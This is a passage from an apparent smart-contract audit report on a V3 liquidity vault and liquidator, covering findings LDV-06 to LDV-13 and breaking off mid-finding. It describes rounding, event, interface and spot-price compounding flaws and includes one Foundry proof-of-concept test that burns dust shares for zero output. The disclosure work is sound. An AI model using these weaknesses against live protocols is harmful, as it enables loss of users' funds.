Make `collectAndCompound()` tolerant of a non-mintable (single-sided or zero-liquidity) compound instead of letting it revert the whole user flow.

## LDV-06 | Dust Share Redemption Bypasses Minimum Output Checks

| Category      | Severity | Location                                                                                                                  | Status  |
|---------------|----------|---------------------------------------------------------------------------------------------------------------------------|---------|
| Logical Issue | Minor    | src/provider/v3/V3DexAdapter.sol (06/26-110544): 267~272; src/provider/v3/V3Provider.sol (06/26-110544): 307~308, 364~365 | Pending |

### Description

`V3Provider.withdraw()` and `V3Provider.redeemShares()` burn provider shares before calling `V3DexAdapter.removeLiquidity()`. The adapter computes the V3 liquidity to remove as `floor(totalLiquidity * shares / totalShares)`. For dust-sized share amounts, this can round down to zero. In that branch, `decreaseLiquidity()` is skipped, so the caller-provided `minAmount0` and `minAmount1` are never enforced by the position manager.

The adapter then separately distributes idle token inventory using the same floor-division pattern. If the share amount is also too small to receive any rounded idle balances, the call can burn shares and return zero assets, even when non-zero minimum outputs were supplied.

### Detail

`withdraw()` first withdraws provider shares from Moolah collateral, then captures the pre-burn total supply, burns the shares, and calls `removeLiquidity()` with the user-supplied minimum outputs.

```
// File: src/provider/v3/V3Provider.sol
// Lines 296-307
MOOLAH.withdrawCollateral(marketParams, shares, onBehalf, address(this));
_afterCollateralChange(marketParams.id(), onBehalf);

IV3DexAdapter(ADAPTER).collectAndCompound();

// CEI: burn before the adapter removes liquidity and pushes underlying to
`receiver`, so
// totalSupply stays consistent with the reduced position during the (native-
BNB) callback -
// otherwise the oracle would briefly under-price the share. Pass the pre-burn
supply so the
// liquidity-fraction math (shares/supply) is unchanged.
uint256 supply = totalSupply();
_burn(address(this), shares);
(amount0, amount1) = IV3DexAdapter(ADAPTER).removeLiquidity(shares, supply,
minAmount0, minAmount1, receiver);
```

`redeemShares()` follows the same burn-before-remove pattern for wallet-held shares.

```
// File: src/provider/v3/V3Provider.sol
// Lines 349-364
function redeemShares(
    uint256 shares,
    uint256 minAmount0,
    uint256 minAmount1,
    address receiver
) external nonReentrant returns (uint256 amount0, uint256 amount1) {
    if (shares == 0) revert ZeroShares();
    if (receiver == address(0)) revert ZeroAddress();
    if (balanceOf(msg.sender) < shares) revert InsufficientShares();

    IV3DexAdapter(ADAPTER).collectAndCompound();

    // CEI: burn the caller's shares before the adapter sends underlying to
    `receiver` (see withdraw).
    uint256 supply = totalSupply();
    _burn(msg.sender, shares);
    (amount0, amount1) = IV3DexAdapter(ADAPTER).removeLiquidity(shares, supply,
        minAmount0, minAmount1, receiver);
}
```

The adapter computes the active V3 liquidity to remove by pro-rating the current NFT liquidity by `shares / totalShares`. The division rounds down.

```
// File: src/provider/v3/V3DexAdapter.sol
// Lines 259-272
function removeLiquidity(
    uint256 shares,
    uint256 totalShares,
    uint256 minAmount0,
    uint256 minAmount1,
    address receiver
) external onlyProvider nonReentrant returns (uint256 amount0, uint256 amount1) {
    uint128 totalLiq = _getPositionLiquidity();
    uint128 liquidityToRemove = totalShares == 0 ? 0 : uint128((uint256(totalLiq) *
        shares) / totalShares);

    if (liquidityToRemove > 0) {
        V3PositionLib.decreaseLiquidity(POSITION_MANAGER, tokenId, liquidityToRemove,
            minAmount0, minAmount1);
        (amount0, amount1) = V3PositionLib.collectAll(POSITION_MANAGER, tokenId);
    }
}
```

If `totalLiq * shares < totalShares`, then `liquidityToRemove == 0`. In that case, `decreaseLiquidity()` is skipped and the Uniswap/PancakeSwap V3 position manager never receives `minAmount0` or `minAmount1`. No final minimum-output check is performed after idle inventory is added.

Idle inventory is also distributed using floor division.

```
// File: src/provider/v3/V3DexAdapter.sol
// Lines 274-285
// Pro-rata idle inventory (finding C): redeem the same fraction of idle as of
liquidity.
if (totalShares > 0) {
    uint256 idleOut0 = (idleToken0 * shares) / totalShares;
    uint256 idleOut1 = (idleToken1 * shares) / totalShares;
    if (idleOut0 > 0) {
        idleToken0 -= idleOut0;
        amount0 += idleOut0;
    }
    if (idleOut1 > 0) {
        idleToken1 -= idleOut1;
        amount1 += idleOut1;
    }
}
```

Therefore, a sufficiently small redemption can satisfy all current checks while returning less than the caller's requested minimums, including zero:

```
liquidityToRemove = floor(totalLiq * shares / totalShares) = 0
idleOut0 = floor(idleToken0 * shares / totalShares) = 0
idleOut1 = floor(idleToken1 * shares / totalShares) = 0
amount0 = 0
amount1 = 0
```

Because the shares were already burned in the provider, the caller loses those dust shares. The corresponding underlying value remains inside the vault because no active liquidity or idle token balance was removed.

`V3Liquidator.redeemV3Shares()` forwards `minAmt0` and `minAmt1` to `V3Provider.redeemShares()`, so the same edge case can affect BOT redemptions of dust-sized seized share balances.

```
// File: src/liquidator/V3Liquidator.sol
// Lines 316-324
function redeemV3Shares(
    address v3Provider,
    uint256 shares,
    uint256 minAmt0,
    uint256 minAmt1,
    address receiver
) external nonReentrant onlyRole(BOT) returns (uint256 amount0, uint256 amount1) {
    require(v3Providers[v3Provider], NotWhitelisted());
    (amount0, amount1) = IV3Provider(v3Provider).redeemShares(shares, minAmt0,
minAmt1, receiver);
}
```

## Impact

Dust-sized share redemptions can burn shares without removing any active V3 liquidity and without enforcing the caller-provided minimum output values. If idle inventory also rounds down to zero, the caller receives no assets even when non-zero `minAmount0` or `minAmount1` was supplied.

## Proof of Concept

```
function test_FID09_dustRedeemBurnsSharesAndBypassesMinOutputs() public {
    _deposit(user, 50 ether, 50 ether);
    assertGt(adapter.tokenId(), 0, "position exists");

    // Keep the PoC focused on the active-liquidity rounding branch: no idle should
    be redeemable.
    vm.store(address(adapter), bytes32(SLOT_IDLE0), bytes32(uint256(0)));
    vm.store(address(adapter), bytes32(SLOT_IDLE1), bytes32(uint256(0)));
    require(adapter.idleToken0() == 0 && adapter.idleToken1() == 0, "idle cleared");

    uint256 totalLiqBefore = adapter.totalLiquidity();
    assertGt(totalLiqBefore, 0, "active liquidity exists");

    // Construct the dust accounting state directly. In the live slisBNB/WBNB range,
    even 1 wei share may
    // naturally map to non-zero liquidity because V3 liquidity units are much
    larger than share units.
    uint256 dustShares = 1;
    uint256 syntheticSupply = totalLiqBefore + 1;

    stdstore.target(address(provider)).sig(IERC20.totalSupply.selector).checked_write(syntheticSupply);

    stdstore.target(address(provider)).sig(IERC20.balanceOf.selector).with_key(user2).checked_write(dustShares);

    assertEq(provider.totalSupply(), syntheticSupply, "synthetic supply set");
    assertEq(provider.balanceOf(user2), dustShares, "dust holder set");
    assertEq((totalLiqBefore * dustShares) / syntheticSupply, 0, "dust rounds active liquidity to zero");

    uint256 slisBefore = IERC20(SLISBNB).balanceOf(user2);
    uint256 bnbBefore = user2.balance;

    vm.prank(user2);
    (uint256 amount0, uint256 amount1) = provider.redeemShares(
        dustShares,
        1, // non-zero minAmount0 should be enforced against final output, but is not.
        1, // non-zero minAmount1 should be enforced against final output, but is not.
        user2
    );

    assertEq(amount0, 0, "redeem returned no token0 despite minAmount0=1");
    assertEq(amount1, 0, "redeem returned no token1 despite minAmount1=1");
    assertEq(provider.balanceOf(user2), 0, "dust shares were burned");
    assertEq(adapter.totalLiquidity(), totalLiqBefore, "no active liquidity was removed");
    assertEq(IERC20(SLISBNB).balanceOf(user2), slisBefore, "no slisBNB transferred");
}
```



```
assertEq(user2.balance, bnbBefore, "no native BNB transferred");  
}
```

Test results:

```
Ran 1 test for  
test/provider/audit/SlisBNBV3ProviderAudit.t.sol:SlisBNBV3ProviderAuditTest  
[PASS] test_FID09_dustRedeemBurnsSharesAndBypassesMinOutputs() (gas: 1944327)  
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.47s (4.40ms CPU time)
```

## Recommendation

Enforce the minimum-output checks against the final amounts returned by `removeLiquidity()`, not only inside the `decreaseLiquidity()` branch.

For example, after adding both active-liquidity proceeds and idle inventory, add:

```
if (amount0 < minAmount0 || amount1 < minAmount1) revert InsufficientOutput();
```

Alternatively, reject dust redemptions that cannot remove at least one unit of active V3 liquidity or return any idle inventory:

```
if (liquidityToRemove == 0 && idleOut0 == 0 && idleOut1 == 0) revert ZeroAmounts();
```

## LDV-07 | Misleading ERC-20 allowance On V3Provider Share Token

| Category      | Severity | Location                                               | Status  |
|---------------|----------|--------------------------------------------------------|---------|
| Logical Issue | Minor    | src/provider/v3/V3Provider.sol (06/26-110544): 178~187 | Pending |

### Description

V3Provider only allows Moolah to call `transfer` / `transferFrom`, but still uses the default OpenZeppelin `approve` / `allowance`. Users can set non-zero allowances that no spender except Moolah can use; `allowance()` therefore does not reflect real spend rights.

### Detail

src/provider/v3/V3Provider.sol

```
178 function transferFrom(...) public override returns (bool) {
179     if (msg.sender != address(MOOLAH)) revert OnlyMoolah();
180     _transfer(from, to, value);
181     return true;
182 }
```

- `approve()` works for any spender and updates storage.
- `transferFrom()` succeeds only when `msg.sender == MOOLAH`; all other spenders revert.
- The override skips `_spendAllowance`, so even Moolah's allowance is not enforced on transfer.
- Users can hold shares off-Moolah via `withdrawShares()` and still call `approve` on integrations that will never work.

### Impact

- Integration / UX:** wallets and protocols reading `allowance > 0` assume spending is possible; `transferFrom` from non-Moolah spenders always fails.
- User confusion:** on-chain approvals look valid but are unusable.

### Recommendation

override `allowance()` (e.g. `type(uint256).max` for Moolah, `0` for others) and no-op `approve()` accordingly.

## LDV-08 | Broken ERC4626 Interface On V3Provider

| Category                             | Severity | Location                                             | Status  |
|--------------------------------------|----------|------------------------------------------------------|---------|
| Incorrect Calculation, Logical Issue | Minor    | src/provider/v3/V3Provider.sol (06/26-110544): 41~42 | Pending |

### Description

V3Provider inherits ERC4626Upgradeable but uses custom two-leg deposit(marketParams, ...) / withdraw(marketParams, ...) / redeemShares() instead of the standard ERC-4626 API. deposit, mint, withdraw, and redeem all revert with StandardEntryDisabled, while inherited max\* / preview\* / convertTo\* views remain live. Integrators may treat maxWithdraw as an actionable exit limit even though withdraw() always reverts and real exits go through Moolah-specific paths into TOKEN0/TOKEN1, not the ERC-4626 asset().

### Detail

Disabled mutators:

src/provider/v3/V3Provider.sol

```

430 function deposit(uint256, address) public pure override returns (uint256) {
431     revert StandardEntryDisabled();
432 }
433 // mint / withdraw / redeem - same revert

```

Still inherited from OpenZeppelin (not overridden): maxWithdraw, maxRedeem, maxDeposit, maxMint, previewDeposit, previewMint, previewWithdraw, previewRedeem, convertToShares, convertToAssets. Only totalAssets() is customized on V3Provider.

Main mismatches:

| View                 | What it implies                                        | Reality                                                                                          |
|----------------------|--------------------------------------------------------|--------------------------------------------------------------------------------------------------|
| maxWithdraw(owner)   | Owner can withdraw() this much <b>accounting asset</b> | withdraw() reverts; use withdraw(marketParams, ...) or redeemShares() for <b>two pool tokens</b> |
| maxRedeem(owner)     | Owner can redeem() this many shares                    | redeem() reverts                                                                                 |
| maxDeposit / maxMint | Unlimited standard deposit                             | deposit() / mint() revert                                                                        |

| View                               | What it implies              | Reality                                                                                  |
|------------------------------------|------------------------------|------------------------------------------------------------------------------------------|
| <code>preview* / convertTo*</code> | Standard ERC-4626 share math | Live mint uses a <b>different</b> formula in <code>deposit(marketParameters, ...)</code> |

After `deposit()`, shares usually sit as **Moolah collateral**, so `balanceOf(user)` is often **0** and `maxWithdraw(user)` returns **0** even when the user has collateral — another UI trap if the wrong interface is read.

## Impact

- Wrong view data:** `preview* / convertTo*` can disagree with actual mint/redeem behavior.
- Wrong withdraw hint:** `maxWithdraw` implies standard `withdraw()` works; it reverts, and real exit is two-leg via Moolah — users/UIs can misread limits or use the wrong path.

## Recommendation

Override or revert unused IERC4626 views. Point integrators to `previewDepositAmounts`, `previewRedeemUnderlying`, and Moolah `position.collateral`.

## LDV-09 | V3Liquidation Event Emits Zero Redeemed Amounts Instead Of Actual Values

| Category     | Severity      | Location                                            | Status  |
|--------------|---------------|-----------------------------------------------------|---------|
| Coding Issue | Informational | src/liquidator/V3Liquidator.sol (06/26-110544): 304 | Pending |

### Description

`V3Liquidator.flashLiquidate` emits the `V3Liquidation` event with `amount0` and `amount1` hard-coded to zero, even though the event's schema declares these fields to carry the underlying token amounts obtained from redeeming the seized V3 shares. The actual `amount0` / `amount1` values are computed inside `onMoolahLiquidate` via `IV3Provider.redeemShares(...)` and are never propagated back to the emit site. Off-chain indexers, monitoring dashboards, and reconciliation tooling that rely on this event to attribute realised token flows per liquidation see zeros and cannot distinguish redemption sizes across markets or borrowers.

### Vulnerability Detail

The event is declared with two trailing fields dedicated to redemption amounts.

```
// File: src/liquidator/V3Liquidator.sol
// Lines 71-79
event V3Liquidation(
    bytes32 indexed id,
    address indexed v3Provider,
    address indexed borrower,
    uint256 seized,
    uint256 repaid,
    uint256 amount0,
    uint256 amount1
);
```

The only emit site is inside `flashLiquidate`, after `Moolah.liquidate` returns. At that point the swap-and-redeem logic in `onMoolahLiquidate` has already completed and returned control, but the redeemed `amount0` / `amount1` are not passed back — the emit therefore uses literal zeros for the last two arguments.

```
// File: src/liquidator/V3Liquidator.sol
// Lines 279-305
(uint256 _seized, uint256 _repaid) = IMoolah(MOOLAH).liquidate(
    mp,
    borrower,
    seizedAssets,
    0,
    abi.encode(
        V3LiquidateData({
            v3Provider: params.v3Provider,
            loanToken: mp.loanToken,
            seized: seizedAssets,
            redeemShares: params.redeemShares,
            minToken0Amt: params.minToken0Amt,
            minToken1Amt: params.minToken1Amt,
            swapToken0: params.token0Pair != address(0) &&
params.swapToken0Data.length > 0,
            swapToken1: params.token1Pair != address(0) &&
params.swapToken1Data.length > 0,
            token0Pair: params.token0Pair,
            token0Spender: effectiveToken0Spender,
            token1Pair: params.token1Pair,
            token1Spender: effectiveToken1Spender,
            swapToken0Data: params.swapToken0Data,
            swapToken1Data: params.swapToken1Data
        })
    )
);

emit V3Liquidation(id, params.v3Provider, borrower, _seized, _repaid, 0, 0);
}
```

The redeemed amounts are known inside the callback, where `redeemShares` returns them, but the callback discards them after the swap steps:

```
// File: src/liquidator/V3Liquidator.sol
// Lines 405-410
(uint256 amount0, uint256 amount1) = IV3Provider(d.v3Provider).redeemShares(
    d.seized,
    d.minToken0Amt,
    d.minToken1Amt,
    address(this)
);
```

There is no transient store, no separate event emitted from the callback, and no return channel from `onMoolahLiquidate` to `flashLiquidate` (the callback is invoked by `Moolah` and its return value is not forwarded back). The result is that every `V3Liquidation` event on-chain carries `amount0 = 0, amount1 = 0`, regardless of the redemption outcome.

## Recommendation

Populate `amount0` and `amount1` in the emit. Since the values are only known inside `onMoolahLiquidate`, one of the following patterns is needed:

- 1. Transient storage propagation.** In `onMoolahLiquidate`, after `redeemShares` returns, write `amount0` and `amount1` into transient storage slots. Read them back at the emit site in `flashLiquidate`. Transient storage clears at end of transaction, so there is no cross-tx leakage. This keeps the event schema unchanged.
- 2. Emit from the callback instead.** Move the `V3Liquidation` emit into `onMoolahLiquidate`, right after `redeemShares` (or at the end of the callback, capturing the final swap outcome). The event can then include the correct redeemed amounts directly. The `_seized` and `_repaid` values would need to be derived from `d.seized` and `repaidAssets` (both already available in the callback). This eliminates the need for transient storage but requires the callback path to be the sole emit source, so the two arguments in `flashLiquidate`'s current emit line become unnecessary.



## LDV-10 | SellBNB Event Over-Reports Native Input When Swap Refunds Value

| Category                    | Severity        | Location                                            | Status    |
|-----------------------------|-----------------|-----------------------------------------------------|-----------|
| Coding Issue, Inconsistency | ● Informational | src/liquidator/V3Liquidator.sol (06/26-110544): 382 | ● Pending |

### Description

`V3Liquidator.sellBNB()` measures the actual native coin consumed by a swap using the contract's balance delta. This correctly handles swap targets that return unused native value as change or a refund. However, the emitted `SellToken` event reports the requested `amountIn` rather than the measured `actualIn`.

This makes the `SellToken` event inconsistent across native and ERC-20 sell paths. `sellToken()` emits the actual token input consumed, while `sellBNB()` can over-report the native input when the swap target refunds part of the value. The issue does not demonstrate an on-chain fund loss by itself, but it can mislead off-chain monitoring, analytics, reconciliation, profit-and-loss reporting, or reward logic that treats `SellToken` events as authoritative accounting records.

### Detail

`SellToken` exposes an `amountIn` field and an `actualAmountOut` field.

```
// File: src/liquidator/V3Liquidator.sol
// Lines 63-70
event SellToken(
    address indexed pair,
    address spender,
    address tokenIn,
    address tokenOut,
    uint256 amountIn,
    uint256 actualAmountOut
);
```

The ERC-20 path measures actual input and actual output by comparing balances before and after the swap. It emits `actualIn`, not the requested `amountIn`.

```
// File: src/liquidator/V3Liquidator.sol
// Lines 477-492
uint256 beforeIn = tokenIn.balanceOf(address(this));
uint256 beforeOut = tokenOut.balanceOf(address(this));

tokenIn.safeApprove(spender, amountIn);
(bool success, ) = pair.call(swapData);
require(success, SwapFailed());

uint256 actualIn = beforeIn - tokenIn.balanceOf(address(this));
uint256 actualOut = tokenOut.balanceOf(address(this)) - beforeOut;

require(actualIn <= amountIn, ExceedAmount());
require(actualOut >= amountOutMin, NoProfit());

tokenIn.safeApprove(spender, 0);

emit SellToken(pair, spender, tokenIn, tokenOut, actualIn, actualOut);
```

The native sell path also measures actual input and actual output with balance deltas.

```
// File: src/liquidator/V3Liquidator.sol
// Lines 370-380
uint256 beforeIn = address(this).balance;
uint256 beforeOut = tokenOut.balanceOf(address(this));

(bool success, ) = pair.call{ value: amountIn }(swapData);
require(success, SwapFailed());

uint256 actualIn = beforeIn - address(this).balance;
uint256 actualOut = tokenOut.balanceOf(address(this)) - beforeOut;

require(actualIn <= amountIn, ExceedAmount());
require(actualOut >= amountOutMin, NoProfit());
```

These runtime checks are based on the measured `actualIn` and `actualOut`. Therefore, if the swap target returns unused native coin to the liquidator, the function correctly treats the consumed input as lower than the requested `amountIn`.

However, the emitted event reports the requested `amountIn`.

```
// File: src/liquidator/V3Liquidator.sol
// Lines 379-382
require(actualIn <= amountIn, ExceedAmount());
require(actualOut >= amountOutMin, NoProfit());

emit SellToken(pair, pair, BNB_ADDRESS, tokenOut, amountIn, actualOut);
```

This differs from `_sellToken()` and gives the same event different semantics depending on whether the input path is ERC-20 or native coin:

- ERC-20 sell path: `SellToken.amountIn == actual input consumed`.
- Native sell path: `SellToken.amountIn == requested input`, even if actual input consumed is lower.

## Recommendation

Emit the measured `actualIn` in `sellBNB()`, matching the ERC-20 `_sellToken()` path.

## LDV-11 | Misleading `minAmount0` / `minAmount1` On `withdraw` / `redeemShares`

| Category      | Severity                                          | Location                                                        | Status                                        |
|---------------|---------------------------------------------------|-----------------------------------------------------------------|-----------------------------------------------|
| Logical Issue | <span style="color: blue;">●</span> Informational | src/provider/v3/V3Provider.sol (06/26-110544): 283~310, 349~367 | <span style="color: orange;">●</span> Pending |

### Description

`V3Provider.withdraw()` exposes `minAmount0` and `minAmount1` as if they bound the token amounts the user ultimately receives. In practice they are forwarded unchanged to `V3DexAdapter.removeLiquidity()` and enforced only on the Uniswap V3 `decreaseLiquidity` step. A pro-rata share of tracked **idle inventory** is paid out afterward with **no** minimum check. Integrators and users can therefore misread these parameters as a floor on total withdrawal output, while the actual payout is often higher than `minAmount0` / `minAmount1` because of the idle component.

### Detail

src/provider/v3/V3Provider.sol

```

283     function withdraw(..., uint256 minAmount0, uint256 minAmount1, ...) external
... {
284         ...
285         MOOLAH.withdrawCollateral(marketParams, shares, onBehalf, address(this));
286         ...
287         IV3DexAdapter(ADAPTER).collectAndCompound();
288         uint256 supply = totalSupply();
289         _burn(address(this), shares);
290         (amount0, amount1) = IV3DexAdapter(ADAPTER).removeLiquidity(
291             shares, supply, minAmount0, minAmount1, receiver
292         );

```

Inside `removeLiquidity`, the mins apply only to NPM liquidity removal:

src/provider/v3/V3DexAdapter.sol

```

269     if (liquidityToRemove > 0) {
270         V3PositionLib.decreaseLiquidity(POSITION_MANAGER, tokenId, liquidityToRemove,
minAmount0, minAmount1);
271         (amount0, amount1) = V3PositionLib.collectAll(POSITION_MANAGER, tokenId);
272     }
273
274     // Pro-rata idle inventory – no minAmount check
275     if (totalShares > 0) {
276         uint256 idleOut0 = (idleToken0 * shares) / totalShares;
277         uint256 idleOut1 = (idleToken1 * shares) / totalShares;
278         ...
279         amount0 += idleOut0;
280         amount1 += idleOut1;
281     }

```

Total user payout is **V3 removal + idle pro-rata**, but slippage protection covers **only the V3 removal slice**.

This is easy to miss because `previewRedeemUnderlying()` / `previewRemoveLiquidity()` **do** include idle in the preview:

`src/provider/v3/V3DexAdapter.sol`

```

488     amount0 += (idleToken0 * shares) / totalShares;
489     amount1 += (idleToken1 * shares) / totalShares;

```

So a user who derives `minAmount` from the preview may believe they are protecting the **full** expected output, while the on-chain guard still only constrains the NPM leg. The same pattern applies to `redeemShares()`.

Idle inventory is not AMM-exposed (fixed pro-rata from adapter storage), so omitting a separate idle min is not a classic sandwich vector. The issue is **parameter semantics**: `minAmount0` / `minAmount1` are NPM slippage bounds, not minimum total withdrawal amounts.

## Impact

- **UX / integration confusion:** Wallets and frontends may label `minAmount0` / `minAmount1` as minimum received; users can receive significantly more when idle balances are large (e.g. after rebalance ratio mismatch or compounding leftovers).
- **Incorrect slippage tuning:** Setting mins from `previewRedeemUnderlying()` (total including idle) applies the full threshold to `decreaseLiquidity` only, which can cause **unnecessary reverts** even when total output would satisfy the user's intended floor.
- **Under-documented protection scope:** The mins do not fail closed on total payout; they only bound the V3 liquidity-removal portion. Integrators assuming a total-output floor may over- or under-estimate protection.

## Recommendation

We recommend adding a reminder in the documentation or comments, and adding a check on the total amount of the two tokens withdrawn in `withdraw` / `redeemShares`.

## LDV-12 | Stacked Haircut And LLTV Discount

| Category     | Severity        | Location                                                 | Status    |
|--------------|-----------------|----------------------------------------------------------|-----------|
| Design Issue | ● Informational | src/provider/v3/V3ProviderOracle.sol (06/26-110544): 147 | ● Pending |

### Description

V3 markets apply **two independent, multiplicative discounts** when determining how much a borrower can draw against vLP shares. `V3ProviderOracle` reduces the share price via `haircutBps` (up to 10%), and Moolah's health check applies `lltv` (Liquidation Loan-To-Value) on top of that already discounted price. This is partly by design (LST/depeg risk is split between oracle haircut and market LLTV), but if both are set conservatively without coordination, **effective borrowing power can be much lower than either parameter alone suggests**.

### Detail

#### Layer 1 — Oracle haircut ( `V3ProviderOracle.peek` )

Share price returned to Moolah is reduced by `haircutBps` (capped at `MAX_HAIRCUT_BPS = 1_000`, i.e. 10%):

`src/provider/v3/V3ProviderOracle.sol`

```
144     uint256 raw = (totalValue * (10 ** SHARE_DECIMALS)) / supply;
145     return (raw * (BPS - haircutBps)) / BPS;
```

`MANAGER` can update this at runtime via `setHaircutBps()`.

#### Layer 2 — Moolah LLTV ( `_isHealthy` )

Moolah reads collateral price from `marketParams.oracle` (the haircut oracle above) and caps borrowable debt with `marketParams.lltv`:

`src/moolah/Moolah.sol`

```
791     uint256 maxBorrow = uint256(position[id][borrower].collateral)
792         .mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
793         .wMulDown(marketParams.lltv);
794
795     return maxBorrow >= borrowed;
```

Price path: `PriceLib._getPrice` → `IOracle(marketParams.oracle).peek(collateralToken)` → already haircut share price.

#### Combined effect

For a user with `c` shares of collateral:

```
maxBorrow ≈ C × peek_share_price × lltv
           ≈ C × (raw_NAV_price × (1 - haircut)) × lltv
```

Example: `haircutBps = 1_000` (10%), `lltv = 0.8e18` (80%) → **effective cap ≈ 72%** of raw fair NAV, not 80%.

The protocol documentation explicitly assigns depeg/LST risk to **both** `haircutBps` and LLTV. That is intentional separation of concerns, not an implementation bug. The issue is **parameter stacking**: operators may treat LLTV as the sole borrow cap while the oracle already embeds a second discount.

The same haircut price feeds **liquidation sizing** (`liquidate()` uses `_getPrice()`), so borrowers face conservative health checks and liquidators work off the same depressed oracle value.

## Impact

- **Reduced borrowing capacity:** Users can borrow materially less than “LLTV × fair NAV” if `haircutBps > 0`; capital efficiency drops without being obvious from LLTV alone.
- **Misconfiguration risk:** Setting a conservative haircut (e.g. 10%) together with a conservative LLTV (e.g. 85%) compounds into a tight effective LTV (~76.5%), increasing unnecessary liquidations or under-utilized collateral.
- **UX / disclosure:** Frontends showing “max borrow at 80% LLTV” without accounting for oracle haircut will overstate available credit and mislead users into failed borrows or unexpected unhealthy positions.

## Recommendation

Treat `haircutBps` and `lltv` as a **joint** risk budget (e.g. target effective LTV =  $(1 - \text{haircut}) \times \text{lltv}$ ) and document the combined cap at market creation. Avoid maxing both independently.



## LDV-13 | User-Triggered Fee Compounding Can Reinvest Shared Fees At Manipulated Spot Price

| Category     | Severity     | Location                                                     | Status    |
|--------------|--------------|--------------------------------------------------------------|-----------|
| Design Issue | ● Discussion | src/provider/v3/V3Provider.sol (06/26-110544): 227, 299, 359 | ● Pending |

### Description

User-triggered `V3Provider` flows automatically compound all accrued V3 fees and tracked idle inventory before processing the user's own deposit, withdrawal, or share redemption. The compounding step reinvests globally owned fees/idle into the existing V3 NFT with `amount0Min = 0` and `amount1Min = 0`, so it accepts whatever token ratio the current V3 pool spot price implies.

### Vulnerability Detail

`V3Provider.deposit()`, `V3Provider.withdraw()`, and `V3Provider.redeemShares()` each call `collectAndCompound()` as part of normal user-accessible flows.

```
// File: src/provider/v3/V3Provider.sol
// Lines 226-254
// Compound accrued fees first so existing holders capture them before new
// shares dilute.
IV3DexAdapter(ADAPTER).collectAndCompound();

uint256 totalValueBefore;
uint256 supplyBefore = totalSupply();
uint160 fairSqrtPriceX96 = IV3DexAdapter(ADAPTER).fairSqrtPriceX96();
if (supplyBefore > 0) {
    (uint256 total0Before, uint256 total1Before) =
IV3DexAdapter(ADAPTER).positionAmountsAt(fairSqrtPriceX96);
    totalValueBefore = _amountsValueUsd(total0Before, total1Before);
    if (totalValueBefore == 0) revert ZeroShares();
}

// Forward the input to the adapter, which adds liquidity and refunds unused
// back to THIS vault.
// The refund is deliberately NOT sent to the depositor here: doing so (a
// native-BNB call) before
// shares are minted would expose a window where adapter NAV already includes
// the new liquidity
// but totalSupply() is still the old value, letting a malicious depositor
// reenter and read an
// inflated share price from the oracle (C-1). We forward the refund to the
// depositor only after
// _mint + supplyCollateral below, when NAV and totalSupply are consistent.
if (_amount0Desired > 0) IERC20(TOKEN0).safeTransfer(ADAPTER, _amount0Desired);
if (_amount1Desired > 0) IERC20(TOKEN1).safeTransfer(ADAPTER, _amount1Desired);

uint128 liquidityAdded;
(liquidityAdded, amount0Used, amount1Used) =
IV3DexAdapter(ADAPTER).addLiquidity(
    _amount0Desired,
    _amount1Desired,
    amount0Min,
    amount1Min,
```

The withdrawal and direct share redemption paths also invoke the same global compounding step before removing liquidity for the caller.

```
// File: src/provider/v3/V3Provider.sol
// Lines 296-307
MOOLAH.withdrawCollateral(marketParams, shares, onBehalf, address(this));
_afterCollateralChange(marketParams.id(), onBehalf);

IV3DexAdapter(ADAPTER).collectAndCompound();

// CEI: burn before the adapter removes liquidity and pushes underlying to
`receiver`, so
// totalSupply stays consistent with the reduced position during the (native-
BNB) callback -
// otherwise the oracle would briefly under-price the share. Pass the pre-burn
supply so the
// liquidity-fraction math (shares/supply) is unchanged.
uint256 supply = totalSupply();
_burn(address(this), shares);
(amount0, amount1) = IV3DexAdapter(ADAPTER).removeLiquidity(shares, supply,
minAmount0, minAmount1, receiver);
```

```
// File: src/provider/v3/V3Provider.sol
// Lines 347-364
/// @dev Liquidation-critical path: no protocol value floor – caller's
minAmount0/1 is the only
/// guard (a hard floor here would brick atomic liquidation; see finding C4).
function redeemShares(
    uint256 shares,
    uint256 minAmount0,
    uint256 minAmount1,
    address receiver
) external nonReentrant returns (uint256 amount0, uint256 amount1) {
    if (shares == 0) revert ZeroShares();
    if (receiver == address(0)) revert ZeroAddress();
    if (balanceOf(msg.sender) < shares) revert InsufficientShares();

    IV3DexAdapter(ADAPTER).collectAndCompound();

    // CEI: burn the caller's shares before the adapter sends underlying to
    `receiver` (see withdraw).
    uint256 supply = totalSupply();
    _burn(msg.sender, shares);
    (amount0, amount1) = IV3DexAdapter(ADAPTER).removeLiquidity(shares, supply,
minAmount0, minAmount1, receiver);
```

The adapter's compounding implementation collects the full owed fee balances, combines them with all tracked idle inventory, and reinvests the result using zero minimum amounts.

```
// File: src/provider/v3/V3DexAdapter.sol
// Lines 499-522
function _collectAndCompound() internal {
    if (tokenId == 0) return;

    (uint256 fees0, uint256 fees1) = V3PositionLib.collectAll(POSITION_MANAGER,
tokenId);

    uint256 toCompound0 = fees0 + idleToken0;
    uint256 toCompound1 = fees1 + idleToken1;
    if (toCompound0 == 0 && toCompound1 == 0) return;

    (uint128 liquidityAdded, uint256 used0, uint256 used1) =
V3PositionLib.increaseLiquidity(
    POSITION_MANAGER,
    TOKEN0,
    TOKEN1,
    tokenId,
    toCompound0,
    toCompound1,
    0,
    0
    );

    idleToken0 = toCompound0 - used0;
    idleToken1 = toCompound1 - used1;

    emit Compounded(toCompound0, toCompound1, liquidityAdded);
}
```

`V3PositionLib` forwards the zero minimums directly to the position manager.

```
// File: src/provider/libraries/V3PositionLib.sol
// Lines 63-85
function increaseLiquidity(
    INonfungiblePositionManager npm,
    address token0,
    address token1,
    uint256 tokenId,
    uint256 amount0Desired,
    uint256 amount1Desired,
    uint256 amount0Min,
    uint256 amount1Min
) external returns (uint128 liquidity, uint256 amount0, uint256 amount1) {
    IERC20(token0).safeIncreaseAllowance(address(npm), amount0Desired);
    IERC20(token1).safeIncreaseAllowance(address(npm), amount1Desired);
    return
        npm.increaseLiquidity(
            INonfungiblePositionManager.IncreaseLiquidityParams({
                tokenId: tokenId,
                amount0Desired: amount0Desired,
                amount1Desired: amount1Desired,
                amount0Min: amount0Min,
                amount1Min: amount1Min,
                deadline: block.timestamp
            })
        );
}
```

The final `amount0Min` / `amount1Min` parameters supplied by a user to `deposit()`, `withdraw()`, or `redeemShares()` do not protect this compounding step. Those minimums are applied only to the user's own subsequent add/remove operation, while the shared fees and idle inventory are already compounded using independent zero minimums. A malicious caller can set their own action's minimums permissively, allowing the transaction to succeed while still forcing the global compounding at the manipulated spot ratio.

